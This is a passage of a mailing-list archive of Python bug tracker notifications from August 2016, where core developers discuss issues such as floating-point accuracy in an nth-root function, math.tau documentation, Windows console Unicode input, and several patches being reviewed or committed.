analysis, only experimental results. > One issue here is that libm pow functions vary hugely in quality, so > any algorithm that depends on ** or math.pow is going to be hard to > prove anything about. pow() is just the starting point. An earlier version of the function started with an initial guess of x for the nth root of x, but it was very slow, and sometimes failed to converge in any reasonable time. By swapping to an initial guess calculated with pow(), I cut the number of iterations down to a much smaller number. Because I'm not to worried about being super-fast, the nth root function goes through the following steps: - use y = pow(x, 1/n) for an initial guess; - if y**n == x, return y; - improve the guess with the "Nth root algorithm"; - if that doesn't converge after a while, return y; - finally, compare the epsilons abs(y**n - x) for the initial guess and improved version, returning whichever gives the smaller epsilon. So I'm confident that nth_root() should never be worse than pow(). > I think the tests should simply be weakened: it's unreasonable to > expect perfect results in this case. Okay. I'll weaken the tests. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 06:48:17 2016 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 14 Aug 2016 10:48:17 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1471171697.44.0.917454821872.issue27761@psf.upfronthosting.co.za> Mark Dickinson added the comment: > - if y**n == x, return y; Here's the problem, though: you're using the libm pow again in this test, so the result of this being True doesn't give tight information about how close y is to the nth root of x (and the test result may well differ from platform to platform). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 06:52:42 2016 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 14 Aug 2016 10:52:42 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1471171962.68.0.446088792601.issue27761@psf.upfronthosting.co.za> Mark Dickinson added the comment: > - finally, compare the epsilons abs(y**n - x) for the initial guess > and improved version, returning whichever gives the smaller epsilon. > > So I'm confident that nth_root() should never be worse than pow(). Same deal here: those aren't the actual errors; they're approximations to the errors, since the computations of the epsilons depends on (a) the usual floating-point rounding, and more significantly (b) the accuracy of the `y**n` computation. It's entirely possible that the value giving the smaller epsilon is actually the worse of the two approximations. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 07:33:52 2016 From: report at bugs.python.org (Stefan Krah) Date: Sun, 14 Aug 2016 11:33:52 +0000 Subject: [issue27587] Issues, reported by PVS-Studio static analyzer In-Reply-To: <1469172132.31.0.293406285451.issue27587@psf.upfronthosting.co.za> Message-ID: <1471174432.31.0.0400119098863.issue27587@psf.upfronthosting.co.za> Stefan Krah added the comment: Pavel did another analysis with the external packages removed. Thanks for this! http://www.viva64.com/en/b/0418/ The new analysis found another glitch. Also see my message to python-committers. ---------- nosy: +skrah _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 07:50:40 2016 From: report at bugs.python.org (Steven D'Aprano) Date: Sun, 14 Aug 2016 11:50:40 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471171962.68.0.446088792601.issue27761@psf.upfronthosting.co.za> Message-ID: <20160814115032.GN26300@ando.pearwood.info> Steven D'Aprano added the comment: On Sun, Aug 14, 2016 at 10:52:42AM +0000, Mark Dickinson wrote: > Same deal here: those aren't the actual errors; they're approximations > to the errors, since the computations of the epsilons depends on (a) > the usual floating-point rounding, and more significantly (b) the > accuracy of the `y**n` computation. It's entirely possible that the > value giving the smaller epsilon is actually the worse of the two > approximations. Let's call the two calculated roots y and w, where y is generated by pow() and w is the "improved" version, and the actual true mathematical root is r (which might fall between floats). You're saying that it might turn out that abs(y**n - x) < abs(w**n - x), but abs(w - r) < abs(y - r), so I return the wrong calculated root. I can see how that could happen, but not what to do about it. I'm tempted to say "that platform's pow() is weird, and the best I can do is return whatever it returns". That way you're no worse than if I just used pow() and didn't try to improve the result at all. I think this would be a problem if I wanted to make nth_root() a public function with a guarantee that it will be better than pow(), but at worst here it just slows the geometric mean down a bit compared to a naive pow(product, 1/n). What else can I do? Since I'm only dealing with integer powers, should I try using my own ipow(y, n) for testing? def ipow(y, n): x = 1.0 while n > 0: if n % 2 == 1: x *= y n //= 2 y *= y return x ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 08:05:37 2016 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 14 Aug 2016 12:05:37 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1471176337.54.0.863617639651.issue27761@psf.upfronthosting.co.za> Mark Dickinson added the comment: > What else can I do? Since I'm only dealing with integer powers, should I > try using my own ipow(y, n) for testing? I'd expect that a square-and-multiply-style pow would be less accurate than math.pow, in general, simply because of the number of floating-point operations involved. But I don't think there's a real problem here so long as you don't have an expectation of getting super-accurate (e.g., correctly rounded or faithfully rounded) results; testing that results are accurate to within 10 ulps or so is probably good enough. If you want an actual correctly-rounded nth root just for testing purposes, it's certainly possible to construct one with integer arithmetic, but an easier alternative might simply be to use MPFR's "mpfr_root" function (as wrapped by gmpy2) to generate test values. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 08:09:29 2016 From: report at bugs.python.org (Stefan Krah) Date: Sun, 14 Aug 2016 12:09:29 +0000 Subject: [issue27587] Issues, reported by PVS-Studio static analyzer In-Reply-To: <1469172132.31.0.293406285451.issue27587@psf.upfronthosting.co.za> Message-ID: <1471176569.21.0.207677809547.issue27587@psf.upfronthosting.co.za> Stefan Krah added the comment: Sorry, I missed issue27587_pystate_addmodule.diff: no new issue in the updated analysis. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 08:34:12 2016 From: report at bugs.python.org (Steven D'Aprano) Date: Sun, 14 Aug 2016 12:34:12 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471176337.54.0.863617639651.issue27761@psf.upfronthosting.co.za> Message-ID: <20160814123407.GP26300@ando.pearwood.info> Steven D'Aprano added the comment: On Sun, Aug 14, 2016 at 12:05:37PM +0000, Mark Dickinson wrote: > But I don't think there's a real problem here so long as you don't > have an expectation of getting super-accurate (e.g., correctly rounded > or faithfully rounded) results; testing that results are accurate to > within 10 ulps or so is probably good enough. Thanks for the advice Mark. This has certainly showed my naivety when it comes to floating point :-( I thought IEEE 754 was supposed to put an end to these sorts of cross- platform differences. If this was a trig function, I wouldn't have been so surprised, but I was not expecting pow() to differ like this. Once I started getting exact results on my machine, I thought everyone would see the same thing. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 08:58:10 2016 From: report at bugs.python.org (Chi Hsuan Yen) Date: Sun, 14 Aug 2016 12:58:10 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1471179490.17.0.539514717723.issue12345@psf.upfronthosting.co.za> Chi Hsuan Yen added the comment: The documentation of tau should mention it's equal to 2 * pi. ---------- nosy: +Chi Hsuan Yen _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 09:34:57 2016 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 14 Aug 2016 13:34:57 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1471181697.33.0.502474103053.issue27761@psf.upfronthosting.co.za> Mark Dickinson added the comment: > I thought IEEE 754 was supposed to put an end to these sorts of cross-platform differences. Maybe one day. (Though I'm not holding my breath.) IEEE 754-2008 does indeed *recommend* (but not actually *require*) correctly rounded implementations of all the usual transcendental and power functions (including nth root). And if everyone followed those recommendations, then yes, the correct rounding would imply that those cross-platform differences would be a thing of the past. I don't see that happening any time soon, though: writing an implementation of log (for example) that's provably correctly rounded for all possible inputs is much harder than writing an implementation that's simply "almost always" correctly rounded (e.g., provably accurate to 0.53 ulps instead of 0.5 ulps), and the latter is going to be good enough in the vast majority of contexts. Going from "almost always correctly rounded" to "correctly rounded" isn't going to have much effect on the overall accuracy of a multistep numerical algorithm, so all you're buying (apart from a likely degraded running time) is the cross-platform reproducibility, and it's not really clear how useful cross-platform reproducibility is as a goal in its own right. Overall, it doesn't seem like a good tradeoff. The pow function is especially hard to make correctly rounded, not least because of its two inputs. At least for single-input transcendental functions there's some (perhaps remote) hope of doing exhaustive testing on the 18 million million million possible double-precision inputs; for a function taking two inputs that's completely infeasible. You can take a look at CRlibm [1] for efforts in the direction of a correctly-rounded libm; AFAIK it hasn't had wide adoption, and its pow function is still work in progress. [1] http://lipforge.ens-lyon.fr/www/crlibm/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 09:56:36 2016 From: report at bugs.python.org (Justin Foo) Date: Sun, 14 Aug 2016 13:56:36 +0000 Subject: [issue27755] Retire DynOptionMenu with a ttk Combobox In-Reply-To: <1471117947.7.0.659308305751.issue27755@psf.upfronthosting.co.za> Message-ID: <1471182996.76.0.441507257266.issue27755@psf.upfronthosting.co.za> Justin Foo added the comment: Ah, I've noticed the folly of my ways. This sort of stuff is already being managed with patches filed under various other issues. It just wasn't obvious to me as I wasn't seeing many new improvements in the default branch or much communication on IDLE-dev. ---------- resolution: -> duplicate status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 10:43:23 2016 From: report at bugs.python.org (SilentGhost) Date: Sun, 14 Aug 2016 14:43:23 +0000 Subject: [issue27755] Retire DynOptionMenu with a ttk Combobox In-Reply-To: <1471117947.7.0.659308305751.issue27755@psf.upfronthosting.co.za> Message-ID: <1471185803.15.0.623758647703.issue27755@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- stage: -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 11:03:04 2016 From: report at bugs.python.org (Ethan Furman) Date: Sun, 14 Aug 2016 15:03:04 +0000 Subject: [issue23591] Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <1471186984.36.0.45285784911.issue23591@psf.upfronthosting.co.za> Ethan Furman added the comment: IntFlags will be in before feature freeze. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 11:25:07 2016 From: report at bugs.python.org (Steve Dower) Date: Sun, 14 Aug 2016 15:25:07 +0000 Subject: [issue1602] windows console doesn't print or input Unicode In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za> Message-ID: <1471188307.85.0.305636007564.issue1602@psf.upfronthosting.co.za> Steve Dower added the comment: The current patch actually only affects the raw IO, so the concern would be one of the wrappers trying to work in bytes when it should be dealing in characters. This should be no different from reading a UTF16 file, so either both work or both are broken. The readline API is most annoying because it assumes strlen is valid for any encoded text (and at so many places it's near unfixable), but there's another issue for this part. Also, I don't have answers for most of the questions in the review on the patch because I copied all of those bits from fileio.c. Can certainly clean parts of them up for the console API, but I count compatibility with the FileIO class a useful goal where possible. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 11:27:22 2016 From: report at bugs.python.org (Roundup Robot) Date: Sun, 14 Aug 2016 15:27:22 +0000 Subject: [issue6422] timeit called from within Python should allow autoranging In-Reply-To: <1246806912.2.0.722769600334.issue6422@psf.upfronthosting.co.za> Message-ID: <20160814152719.75855.27217.3FCA6744@psf.io> Roundup Robot added the comment: New changeset 424eb46f7f3a by Steven D'Aprano in branch 'default': Issue6422 add autorange method to timeit.Timer https://hg.python.org/cpython/rev/424eb46f7f3a ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 12:00:35 2016 From: report at bugs.python.org (Brett Cannon) Date: Sun, 14 Aug 2016 16:00:35 +0000 Subject: [issue26027] Support Path objects in the posix module In-Reply-To: <1452114329.99.0.617690911804.issue26027@psf.upfronthosting.co.za> Message-ID: <1471190435.62.0.776283293333.issue26027@psf.upfronthosting.co.za> Brett Cannon added the comment: Thanks for the review! I'll probably update the patch next week based on your feedback (which I agree with). As for error messages and tests, they exist in my patches on issues dependent on this one (e.g. the tests included in issues #27524 and #27182 which pull in Jelle's test from his original patch); I have been doing all of my os package-related changes in a single checkout and so this one isn't wholly written in isolation. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 12:10:01 2016 From: report at bugs.python.org (Brett Cannon) Date: Sun, 14 Aug 2016 16:10:01 +0000 Subject: [issue27573] code.interact() should print an exit message In-Reply-To: <1468932940.76.0.523388198835.issue27573@psf.upfronthosting.co.za> Message-ID: <1471191001.26.0.736375513009.issue27573@psf.upfronthosting.co.za> Brett Cannon added the comment: LGTM ---------- assignee: -> steven.daprano nosy: +brett.cannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 12:10:48 2016 From: report at bugs.python.org (STINNER Victor) Date: Sun, 14 Aug 2016 16:10:48 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1471179490.17.0.539514717723.issue12345@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: Chi Hsuan Yen added the comment: > The documentation of tau should mention it's equal to 2 * pi. According to this discussion, tau is very important. Maybe it's better to document pi as tau/2? :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 12:12:39 2016 From: report at bugs.python.org (Zachary Ware) Date: Sun, 14 Aug 2016 16:12:39 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1471191159.33.0.800628142717.issue12345@psf.upfronthosting.co.za> Changes by Zachary Ware : ---------- nosy: -zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 12:17:56 2016 From: report at bugs.python.org (Emanuel Barry) Date: Sun, 14 Aug 2016 16:17:56 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1471191476.58.0.790131350022.issue12345@psf.upfronthosting.co.za> Changes by Emanuel Barry : ---------- nosy: -ebarry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 12:28:23 2016 From: report at bugs.python.org (Paul Moore) Date: Sun, 14 Aug 2016 16:28:23 +0000 Subject: [issue27573] code.interact() should print an exit message In-Reply-To: <1468932940.76.0.523388198835.issue27573@psf.upfronthosting.co.za> Message-ID: <1471192103.04.0.219716257595.issue27573@psf.upfronthosting.co.za> Paul Moore added the comment: LGTM. Maybe worth a documentation note - "Changed in 3.6 - added an exit message"? But I'm OK with it as is if you don't think that's worth it. ---------- nosy: +paul.moore _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 12:30:34 2016 From: report at bugs.python.org (Steve Dower) Date: Sun, 14 Aug 2016 16:30:34 +0000 Subject: [issue17620] Python interactive console doesn't use sys.stdin for input In-Reply-To: <1364921954.86.0.527255608282.issue17620@psf.upfronthosting.co.za> Message-ID: <1471192234.73.0.194726043861.issue17620@psf.upfronthosting.co.za> Steve Dower added the comment: I'm working on this as part of my fix for issue1602. Not yet sure how this will come out - compatibility with GNU readline seems to be the biggest issue, as if we want to keep that then we can't allow embedded '\0' in the encoded text (i.e. UTF-16 cannot be used, which implies that sys.stdin.encoding cannot always be used directly). Adding __readlinehook__ as an alternative may be feasible, but a decent amount of work given how we call into the current readline implementation. Unfortunately, it looks like detecting when a readline hook has been added is going to involve significant changes to the tokenizer, which I really don't want to do. The easiest approach wrt issue1602 seems to be to special case the console by reencoding from utf-16-le to utf-8 and forcing the encoding in the tokenizer to utf-8 (instead of sys.stdin.encoding) in this case. I'll start here so that at least we can parse Unicode from the interactive prompt. ---------- assignee: -> steve.dower versions: +Python 3.6 -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 12:38:51 2016 From: report at bugs.python.org (Chi Hsuan Yen) Date: Sun, 14 Aug 2016 16:38:51 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1471192731.08.0.18231734715.issue12345@psf.upfronthosting.co.za> Chi Hsuan Yen added the comment: >From http://tauday.com/ > No, really, pi is wrong... For me it's a sign that pi is (currently) more common than tau. One purpose of the documentation is helping newcomers understand what Python's built-in objects mean. "tau = 2 * pi" is better than "pi = tau / 2" as those who know pi only are more than those who know tau only. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 12:58:20 2016 From: report at bugs.python.org (=?utf-8?q?Adam_Barto=C5=A1?=) Date: Sun, 14 Aug 2016 16:58:20 +0000 Subject: [issue17620] Python interactive console doesn't use sys.stdin for input In-Reply-To: <1364921954.86.0.527255608282.issue17620@psf.upfronthosting.co.za> Message-ID: <1471193900.65.0.876512632022.issue17620@psf.upfronthosting.co.za> Adam Barto? added the comment: > Unfortunately, it looks like detecting when a readline hook has been added is going to involve significant changes to the tokenizer, which I really don't want to do. We don't need to detect the presence of readline hook, it may be so that there is always a readline hook. Whenever we have interactive stdio, and so PyOS_Readline is called, the new proposed API PyIO_Readline would be called instead. This would return Unicode str Py_Object*, so the result can be directly returned by input() and should be somehow encoded afterwards by the tokenizer (these are the only consumers of PyOS_Readline). We may even leave the tokenizer alone and redefine PyOS_Readline as a wrapper of PyIO_Readline, having full control of the encoding process there. So it would be enough to set up the tokenizer with UTF-8 encoding despite the fact that sys.std*.encoding would be UTF-16. (I hope that if the tokenizer was desiged nowdays, it would operate on strings rather than bytes so there won't be any encoding problems at all.) Also, third parties would benefit from sys.readlinehook ? at least win_unicode_console and pyreadline would just set the attribute rather than messing with ctypes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 13:50:30 2016 From: report at bugs.python.org (Xiang Zhang) Date: Sun, 14 Aug 2016 17:50:30 +0000 Subject: [issue27414] http.server.BaseHTTPRequestHandler inconsistence with Content-Length value In-Reply-To: <1467207276.94.0.887561217469.issue27414@psf.upfronthosting.co.za> Message-ID: <1471197030.29.0.00198689859352.issue27414@psf.upfronthosting.co.za> Changes by Xiang Zhang : ---------- nosy: +xiang.zhang _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 13:53:32 2016 From: report at bugs.python.org (Xiang Zhang) Date: Sun, 14 Aug 2016 17:53:32 +0000 Subject: [issue27713] Spurious "platform dependent libraries" warnings when running make In-Reply-To: <1470679566.14.0.658709147971.issue27713@psf.upfronthosting.co.za> Message-ID: <1471197212.96.0.283952498878.issue27713@psf.upfronthosting.co.za> Changes by Xiang Zhang : ---------- nosy: +xiang.zhang _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 14:17:47 2016 From: report at bugs.python.org (Roundup Robot) Date: Sun, 14 Aug 2016 18:17:47 +0000 Subject: [issue27573] code.interact() should print an exit message In-Reply-To: <1468932940.76.0.523388198835.issue27573@psf.upfronthosting.co.za> Message-ID: <20160814181745.22294.67756.BD521416@psf.io> Roundup Robot added the comment: New changeset 9410dc027505 by Steven D'Aprano in branch 'default': Issue27573 code.interact prints a message when exiting. https://hg.python.org/cpython/rev/9410dc027505 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 14:31:25 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 14 Aug 2016 18:31:25 +0000 Subject: [issue27599] Buffer overrun in binascii In-Reply-To: <1469291492.89.0.37008226611.issue27599@psf.upfronthosting.co.za> Message-ID: <1471199485.6.0.591064883482.issue27599@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Here is a patch that fixes buffer overrun in binascii.b2a_qp() and binascii.a2b_qp() and adds additional tests. ---------- keywords: +patch stage: needs patch -> patch review Added file: http://bugs.python.org/file44103/binascii_qp_overrun.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 14:34:36 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 14 Aug 2016 18:34:36 +0000 Subject: [issue27173] Modern Unix key bindings for IDLE In-Reply-To: <1464766185.36.0.150155479026.issue27173@psf.upfronthosting.co.za> Message-ID: <1471199676.48.0.369220199087.issue27173@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Can this issue be closed? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 14:46:55 2016 From: report at bugs.python.org (Ned Deily) Date: Sun, 14 Aug 2016 18:46:55 +0000 Subject: [issue27573] code.interact() should print an exit message In-Reply-To: <1468932940.76.0.523388198835.issue27573@psf.upfronthosting.co.za> Message-ID: <1471200415.25.0.936172977969.issue27573@psf.upfronthosting.co.za> Ned Deily added the comment: Steven, don't forget to update Misc/NEWS and to close this issue on the bug tracker. Thanks! ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 15:32:52 2016 From: report at bugs.python.org (Evelyn Mitchell) Date: Sun, 14 Aug 2016 19:32:52 +0000 Subject: [issue27763] Add complex case to test_builtin abs() Message-ID: <1471203172.09.0.573399775535.issue27763@psf.upfronthosting.co.za> New submission from Evelyn Mitchell: The description of abs() says "If the argument is a complex number, its magnitude is returned." but test_builtin doesn't include any complex number test cases. ---------- components: Library (Lib) messages: 272688 nosy: Evelyn Mitchell priority: low severity: normal stage: test needed status: open title: Add complex case to test_builtin abs() _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 15:48:03 2016 From: report at bugs.python.org (Ned Deily) Date: Sun, 14 Aug 2016 19:48:03 +0000 Subject: [issue27763] Add complex case to test_builtin abs() In-Reply-To: <1471203172.09.0.573399775535.issue27763@psf.upfronthosting.co.za> Message-ID: <1471204083.98.0.528876212951.issue27763@psf.upfronthosting.co.za> Ned Deily added the comment: I think tests for abs() using complex numbers are already in test_cmath. How do they look? ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 16:02:07 2016 From: report at bugs.python.org (Evelyn Mitchell) Date: Sun, 14 Aug 2016 20:02:07 +0000 Subject: [issue27763] Add complex case to test_builtin abs() In-Reply-To: <1471204083.98.0.528876212951.issue27763@psf.upfronthosting.co.za> Message-ID: Evelyn Mitchell added the comment: test_cmath includes abs() of zeros, infinities, and real or imaginary part NaN, but does not include a test for the magnitude conversion, which would be triggered by something like >>> abs(complex(2.1,3.5)) 4.08166632639171 >>> abs(complex('2.1+3.5j')) 4.08166632639171 And in looking through test_cmath, it appears that only the two numeric argument form of complex(i, j) is tested for any of the functions, not the complex('i+nj') string form. On Sun, Aug 14, 2016 at 1:48 PM, Ned Deily wrote: > > Ned Deily added the comment: > > I think tests for abs() using complex numbers are already in test_cmath. > How do they look? > > ---------- > nosy: +ned.deily > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 16:19:28 2016 From: report at bugs.python.org (Zachary Ware) Date: Sun, 14 Aug 2016 20:19:28 +0000 Subject: [issue11620] winsound.PlaySound() with SND_MEMORY should accept bytes instead of strings In-Reply-To: <1300667681.04.0.269037633009.issue11620@psf.upfronthosting.co.za> Message-ID: <1471205968.6.0.319115772474.issue11620@psf.upfronthosting.co.za> Zachary Ware added the comment: Here's an updated patch. I'm a little wary of applying this on 3.5, because it is backward-incompatible: a str is no longer accepted with SND_MEMORY. On the other hand, it's pretty much a fluke if that works at all currently. ---------- assignee: -> zach.ware stage: needs patch -> patch review Added file: http://bugs.python.org/file44104/issue11620.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 16:41:02 2016 From: report at bugs.python.org (Ed Schouten) Date: Sun, 14 Aug 2016 20:41:02 +0000 Subject: [issue27764] [Patch] Complete bits necessary for making fcntl's file locking optional Message-ID: <1471207261.97.0.678306569451.issue27764@psf.upfronthosting.co.za> New submission from Ed Schouten: Python's fcntl module already provides some support for making support for file locking optional. For example, constants like F_SETFL are only defined if present. Unfortunately, the accompanying functions 'flock()' and 'lockf()' are present unconditionally. CloudABI, a sandboxed runtime environment for UNIX (https://mail.python.org/pipermail/python-dev/2016-July/145708.html), doesn't implement these ways of doing file locking, for the reason that these operations do not fit nicely within its process model. These locks are per-process; not per-descriptor. This means that processes cannot safely be composed or decomposed. Attached is a relatively small patch to make flock() and lockf() optional, only compiling them when the necessary APIs are present. The LOCK_* constants are now also defined optionally. ---------- components: Extension Modules files: patch-no-flock.txt messages: 272692 nosy: EdSchouten priority: normal severity: normal status: open title: [Patch] Complete bits necessary for making fcntl's file locking optional versions: Python 3.6 Added file: http://bugs.python.org/file44105/patch-no-flock.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 16:49:51 2016 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Sun, 14 Aug 2016 20:49:51 +0000 Subject: [issue23591] Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <1471207791.38.0.0254658876462.issue23591@psf.upfronthosting.co.za> Vedran ?a?i? added the comment: I tried to implement this once. The biggest problem I encountered is inconsistency with Enum identity: Enum's main idea is that its objects are pre-created and __new__ just return one of them, so equality is simply identity. If you try to do this with flags, you quickly hit the exponential blowup and with most flags applications, it's utterly impractical to construct all the combinations at the start. So you have MyFlags.a|MyFlags.b is not MyFlags.a|MyFlags.b, and that is very weird and unexpected (especially if MyFlags.a is MyFlags.a, which it is if this case just delegates to Enum.__new__). How does this patch propose to solve this problem? ---------- nosy: +veky _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 16:58:49 2016 From: report at bugs.python.org (Zachary Ware) Date: Sun, 14 Aug 2016 20:58:49 +0000 Subject: [issue25387] sound_msgbeep doesn't check the return value of MessageBeep In-Reply-To: <1444696251.21.0.518539201505.issue25387@psf.upfronthosting.co.za> Message-ID: <1471208329.62.0.658461986369.issue25387@psf.upfronthosting.co.za> Zachary Ware added the comment: Here's a patch. This has the possibility of breaking existing code, but the fix is simple (just catch RuntimeError) and is probably more in line with what's expected. ---------- keywords: +patch stage: needs patch -> patch review Added file: http://bugs.python.org/file44106/check_msgbeep_error.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 17:12:05 2016 From: report at bugs.python.org (Ivan Levkivskyi) Date: Sun, 14 Aug 2016 21:12:05 +0000 Subject: [issue27723] Document typing.Text and typing.AnyStr In-Reply-To: <1470793243.78.0.0997445491252.issue27723@psf.upfronthosting.co.za> Message-ID: <1471209125.37.0.590997193488.issue27723@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: Thank you for the patch, Michael! I could add a comment that probably it is better to mention the definition of AnyStr = TypeVar('AnyStr', str, bytes) at beginning and only then go with examples. ---------- nosy: +levkivskyi _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 17:16:57 2016 From: report at bugs.python.org (Emanuel Barry) Date: Sun, 14 Aug 2016 21:16:57 +0000 Subject: [issue27364] Deprecate invalid unicode escape sequences In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za> Message-ID: <1471209417.87.0.501020211278.issue27364@psf.upfronthosting.co.za> Emanuel Barry added the comment: Here's a new pair of patches for this. There are some small tweaks to the tests, and I properly fixed all instances of invalid escapes (I also made some strings into raw-strings at some places where it's not needed, solely for consistency with surrounding lines or functions). The patch that fixes the invalid escapes is four times larger than the previous one. I would also advise to add to PEP 8 a bit recommending that strings used in regular expressions alwaus be raw-strings, even if there's no need to, as a lot (at least 70%) of the invalid escapes fixed were used in regexes. ---------- Added file: http://bugs.python.org/file44107/invalid_stdlib_escapes_2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 17:17:11 2016 From: report at bugs.python.org (Emanuel Barry) Date: Sun, 14 Aug 2016 21:17:11 +0000 Subject: [issue27364] Deprecate invalid unicode escape sequences In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za> Message-ID: <1471209431.02.0.481218914759.issue27364@psf.upfronthosting.co.za> Changes by Emanuel Barry : Added file: http://bugs.python.org/file44108/deprecate_invalid_escapes_both_2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 18:00:38 2016 From: report at bugs.python.org (Emanuel Barry) Date: Sun, 14 Aug 2016 22:00:38 +0000 Subject: [issue27157] Unhelpful error message when one calls a subclass of type with a custom metaclass In-Reply-To: <1464561968.54.0.551105312321.issue27157@psf.upfronthosting.co.za> Message-ID: <1471212038.41.0.273049207451.issue27157@psf.upfronthosting.co.za> Emanuel Barry added the comment: Rebased patch so that it applies cleanly again. ---------- Added file: http://bugs.python.org/file44109/type_one_argument_5.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 18:18:51 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 14 Aug 2016 22:18:51 +0000 Subject: [issue27750] Idle editor crashes when input size more than 250 lines given In-Reply-To: <1471028932.53.0.0266667136467.issue27750@psf.upfronthosting.co.za> Message-ID: <1471213131.62.0.11162190882.issue27750@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Please describe more exactly the pasting. Also try the same when you run the same code in the standard python interpreter. Same or different behavior? Also, what system? Pasting varies a bit between OSes. Is '250' needed'? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 18:28:08 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 14 Aug 2016 22:28:08 +0000 Subject: [issue27755] Retire DynOptionMenu with a ttk Combobox In-Reply-To: <1471117947.7.0.659308305751.issue27755@psf.upfronthosting.co.za> Message-ID: <1471213688.17.0.800912256152.issue27755@psf.upfronthosting.co.za> Terry J. Reedy added the comment: 